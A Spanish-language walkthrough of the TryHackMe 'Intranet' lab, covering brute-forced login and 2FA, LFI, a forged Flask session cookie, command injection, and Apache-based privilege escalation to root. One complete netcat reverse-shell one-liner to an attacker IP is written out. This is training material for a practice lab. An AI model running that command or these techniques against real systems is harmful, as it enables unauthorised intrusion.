Intranet - TryHackMe
SUMMARY
Primero realice un escaneo de puertos, logrando saber que un servidor Apache, y uno para desarrollo en Flask, se estaban ejecutando. Además, este último servidor alojaba una aplicación web que constaba de una autenticación de dos factores, logrando autenticarme en el factor a partir de una enumeración de usernames y un ataque de fuerza bruta de contraseñas utilizando un wordlist personalizado y Hydra. Luego, el segundo factor constaba de un código de verificación de 4 dígitos que logre encontrarlo con fuerza bruta mediante ffuf o un script Python. Luego, en el portal de gestión de la aplicación web me encontré con un parámetro vulnerable a LFI, logrando observar el código fuente de la aplicación web, y logrando saber que utilizaba una clave secreté para firmar las cookies de sesión, logrando encontrar la clave secreta para crear una cookie de sesión con los datos de admin y firmado. Luego, en una funcionalidad administrativa, me encontré un parámetro vulnerable a Command Injection, logrando ejecutar una reverse Shell. Luego, en la escalada de privilegios, el servicio Apache fue un factor clave.
RECONOCMIENTO ACTIVO
En este caso debemos acceder al sistema destino y obtener dos banderas. Primero, empezaremos utilizando el comando openvpn y el archivo de configuración OpenVPN con el fin de establecer una conexión VPN y poder acceder a los laboratorios donde están las máquinas virtuales y vulnerables.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Intranet.
FASE ESCANEO Y ENUMERACION
Ahora pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del sistema destino. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo del sistema destino.
Los resultados que obtenemos son:
- Un programa servidor FTP que se ejecuta en el puerto 21
- El servicio Telnet que se ejecuta en el puerto 23.
- Un servicio desconocido ejecutado en el puerto 7.
- Un programa servidor SSH que se ejecuta en el puerto 22.
- Un servidor web que se ejecuta en el puerto 8080 y que utiliza la biliboteca Werkzeug de Python, utilizado para el desarrollo de aplicaciones web. Ademas, observamos que se ha realizado una solicitud HTTP hacia el servidor web, y la respuesta HTTP tiene un codigo de estado HTTP 302 que nos redirige a la ruta login que puede ser la pagina web de una aplicación web.
Ahora accederemos a la ruta login a traves de mi navegador web.
Podemos observar que se trata de un login de una aplicación web donde podemos autenticarnos. Ademas, al ingresar un username invalido en el formulario HTML, obtenemos un mensaje de error no generico, por lo que es vulnerable a enumercion de usernames este login. Ademas, si observamos el codigo fuente de la pagina web, nos toparemos con el atributo placeholder( asociado con el elemento HTML username del formulatio HTML) que nos brinda una pista de sobre el formato de los usernames que se espera que ingresemos. Ademas, podemos observar un comentario en el codigo fuente donde obtenemos el nombre de un usuario(que podemos darle el formato anders@securesolacoders.no) y un correo electronico.
FASE EXPLOTACION O HACKING O GANAR ACCESSO
Ahora testeraremos si estos dos correos electronicos podemos utilizarlo en el formulario HTML del login.
Podemos observar que ambos son correos electronicos validos. Ademas, al ingresar un password invalido, obtenemos un mensaje de error no generico, por lo que podemos realizar ataque de fuerza de contraseñas para intentar encontrar una ocntraseña valida en cualquier de los dos correos. Para ello utilizaremos hydra.
Podemos observar que supuestamente la herramienta logro encontrar una contraseña valida para el correo anders@securesolacoders.no pero al momento de autenticarnos con estas credenciales, obtenemos un mensaje de error que nos indica sobre el uso de un carácter ilegal, que viene a ser el carácter ;. Por lo tanto, la herramienta nos genero un falso positivo.
Ahora filtraremos todas las lineas del wordlists rockyou.txt que contiene el carácter ; con el comando grep y su parametro -v. Luego, volveremos a utilizar Hydra para el ataque de fuerza bruta de contraseñas.
Podemos observar que nos topamos con otro falso positivo debido al carácter ilegal #. Por lo que volveremos a repetir el paso anterior en nuestro wordlist para luego utilizar Hydra.
Podemos observar que nos topamos con otro falso positivo debido al carácter ilegal “. Por lo que volveremos a repetir el paso anterior en nuestro wordlist para luego utilizar Hydra.
Podemos observar que nos topamos con otro falso positivo debido al carácter ilegal &. Por lo que volveremos a repetir el paso anterior en nuestro wordlist para luego utilizar Hydra.
Luego, de esperar bastante tiempo me resigne a que Hydra llegase a encontrar un password valido para cualquier de las dos cuentas. Por lo que decidi observar la pista brindada en el enunciado de esta maquina donde nos indica que debemos crear nuestro wordlist a paritr de palabras relevantes de la aplicación web como usernames, company name. Para facilictar la identificacion de palabras claves de la aplicación web utilizaremos cewl.
De estas posibles palabras claves, solo tendremos en cuenta las palabras claves securesolacoders, SecureSolaCoders, devops, anders, developer, Developer, Senior, Luego utilizaremos el sitio web WEEKPASS para generar nuestro wordlists personalizado. Ademas, eliminaremos las lineas de nuestro wordlist que contengan los caracteres ilegales encontrado anteriornemte. Luego, volveremos a utilizar Hydra con nuestro wordlist personalizado.
En este intento si logre encontrar las credenciales correctas para anders, logrando autenticarme, pero topo con otro mecanismo de autenticacion que consiste en introducir un codigo de verificacion de 4 digitos que han siado enviados en un mensaje SMS a un numero de celular desconocido. Ademas, luego de realizar un monton de intentos fallidos, nos damos cuenta de que no se ha implementado una medida de seguridad para ralentizar el ataque de fuerza bruta sobre el codigo de verificaicon.
Ahora crearemos nuestro wordlist con crunch y crearemos un script en Python para automatizar el atque de fuerza bruta contra el codigo de verificacion de 4 digitos.
Otro metodo que pudimos haber utilizado es mediante la herramienta ffuf que realizara el ataque de fuerza bruta mucho mas rapido que nuestro script en Python debido a que trabaja con numero de hilos igual a 40 por defecto.
Podemos observar que luego de autenticarnos exitosamente en el 2FA, nos redirigimos al portal de gestión de la aplicación web que consta de 3 secciones, pero la sección Admin no podemos acceder debido a que no tenemos los privilegios necesarios. Además, en la sección Internal News nos topamos con un botón que viene a ser elemento de un formulario HTML que realizara una solicitud POST cuando demos clic en el botón. Además, observamos que la data incluida en el cuerpo de la solicitud POST viene a ser el atributo name y value del botón.
Ahora capturaremos la solicitud POST para testear payloads básicos de SQLi, Commando Injection y LFI en el valor del parámetro news.
Podemos observar que con los payloads basicos de SQLi y Commando Injection recibimos una respuesta HTTP con codigo de estado 500, pero con el payload Directory Transversal llegamos a tener éxito, logrando observar el archivo /etc/passwd que contiene información sobre los usuarios locales en el sistema destino.
Ahora que probaremos diversas rutas de directorios de archivos conocidos en un sistema de archivos Linux mediante el parámetro vulnerable news. Para ello modificaremos nuestro wordlist, agregándole a cada línea, los caracteres ../../.
Podemos observar que podemos acceder a varios archivos arbitrarios en el sistema destino, pero no tenemos acceso a los archivos de registros del servidor web Apache que se ejecuta en el 80. Además, no logre encontrar nada interesante en los archivos /etc/ssh/sshd_config, /etc/crontab, /etc/hosts. Por lo que tuve que recurrir de nuevo a la pista brindada en el enunciado de la máquina. Luego, como en la pista me menciona algo de cmd, me decide a observar el contenido del archivo /proc/self/cmdline.
Podemos observar que el archivo /proc/self/cmdline contenía la ruta de un script en Python almacenado en el directorio home de un usuario local. Luego, observamos el contenido del script en Python mediante la vulnerabilidad LFI, dándome cuenta de que viene a ser el código fuente de la aplicación web que ha sido desarrollada con el framework Flask. Además, si analizamos el contenido inicial, podemos observar que se crea una clave con el string secret_key y un numero aleatorio (que esta entre 100000 y 999999). Luego, esta clave es convertido a una secuencia de bytes y pasada al atributo secret_key de la instancia app. Por lo tanto, esta clave va a ser utilizado para firmar automáticamente las cookies de sesión generada por la aplicación web, y también va a ser utilizado por la aplicación web para verificar si las cookies de sesión enviadas en las solicitudes HTTP han sido firmadas con la clave.
Además, si seguimos analizando el código fuente de la aplicación web, nos topamos con el correo electrónico del usuario admin, pero no logramos obtener su passwrord.
Ahora con el paquete flask-unsign decodificaremos la cookie de sesión firmada, que nos asignó la aplicación web cuando nos autenticamos con las credenciales de anders, para observarla en su formato original. Luego, realizare fuerza bruta de contraseñas sobre la clave utilizada por la aplicación para firmar las cookies de sesión, pero para ello creare un wordlist con posibles claves teniendo en cuenta la estructura que siguen.
Ahora que conocemos la clave, crearemos una cookie de sesión con los datos del usuario admin, y luego lo firmaremos con la clave secrete, y lo almacenaremos en nuestro navegador web para omitir la autenticación.
Una vez que logramos omitir la autenticación siendo el usuario admin, podremos acceder a la sección Admin, y si observamos el código fuente de esta pagina web, nos damos cuenta de que esta ruta acepta solicitudes POST HTTP. Además, al parecer en el cuerpo esta solicitud POST va constar de un campo (de un formulario HTML) llamado debug, y se va utilizar el valor de este campo para ejecutar un comando en el sistema operativo del sistema destino. Aprovecharemos esto para realizar una solicitud POST en la ruta /admin, y con el campo debug igual a un comando rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.123.194 1500 >/tmp/f , que nos generara una reverse Shell.
Podemos observar que el comando pasado al campo debug utiliza la codificación URL debido a que no logre obtener la reverse shell en su formato normal. De esta manera logre obtener acceso al sistema destino siendo el usuario devops.
Ahora realizaremos un tratamiento de la reverse Shell para hacerlo más interactiva y estable.
FASE ESCALADA PRIVILEGIOS
Ahora debemos buscar vectores de escalada de privilegios para ello utilizaremos Linpeas para automatizar la búsqueda de vectores de escalada de privilegios.
Podemos observar que uno de los resultados mostrados por Linpeas viene a ser los procesos que se están ejecutando en el sistema destino. Donde podemos uno de los procesos esta relacionado con la ejecución del programa servidor Apache en el puerto 80. Además, esta aplicación ha sido ejecutado con los privilegios del usuario local anders, y si observamos el directorio raíz del servidor Apache, nos damos con la sorpresa que tenemos el permiso de escritura en él, por lo que podemos crear una archivo PHP que nos genere una reverse Shell cuando se ejecute su contenido cuando accedamos a el a traves de mi navegador web.
De esta manera realizamos una escalada de privilegios horizontal siendo el usuario anders.
Ahora realizaremos un tratamiento de nuestra reverse Shell y enumeraremos los comandos que podemos ejecutar con privilegios elevados mediante el comando sudo.
Podemos observar que podemos reiniciar el servicio Apache con los privilegios del usuarioroot mediante sudo y sin la necesidad de ingresar las credenciales de inicio de sesión del usuario anders. Lo primero que se viene a la mente es hacer cambiar la cuenta bajo la cual se ejecuta el servicio Apache a la cuenta del usuario root con el fin de volver a ejecutar el archivo PHP ubicado en el directorio raíz del servidor Apache para que me genere una reverse Shell con privilegios de root.
Buscando en internet pude saber que el archivo /etc/apache2/envvars viene a ser un archivo de configuración del servicio Apache que se utiliza para definir variables de entorno que afectan el comportamiento de Apache cuando se inicia. Además, una de las variables de entorno que se define en este archivo son: APACHE_RUN_USER(Donde se define la cuenta bajo la cual el servicio se ejecutara), APACHE_RUN_GROUP (Donde se define el grupo bajo la cual el servicio se ejecuta).
Podemos observar que tenemos el permiso de escritura sobre el archivo, por lo que logre modificar ambas variables de entorno.
Ahora reiniciare el servicio Apache para que los cambios surtan efectos, y observare nuevamente el archivo PHP a traves del navegador web para que se ejecute y para obtener la reverse Shell con los privilegios de root.
Luego de hacer esto, se cerró automáticamente la sesión que tenía con anders. Por lo que volví a iniciar sesión con devops, y me di con la sorpresa de que el servidor Apache ya no se estaba ejecutando en el puerto 80. Por lo que ya no pude realizar la escalada de privilegio horizontal para ser el usuario anders. Por lo que tenemos que reiniciar la maquina y volver a realizar los pasos anteriores (Maldita maquina).
Luego viendo que el archivo envvars tiene comandos con condicionales if y else, supuse que era un script Bash que era ejecutado por el servicio Apache cuando se iniciaba. Por lo tanto, agregare un comando que me genere una reverse Shell, y reiniciare el servicio Apache para que se ejecute el servicio con privilegios de root, por lo tanto, mi reverse Shell tendrá privilegios de root.
De esta manera logre realizar una escalada de privilegios vertical siendo el usuarioroot, y logrando obtener la última bandera.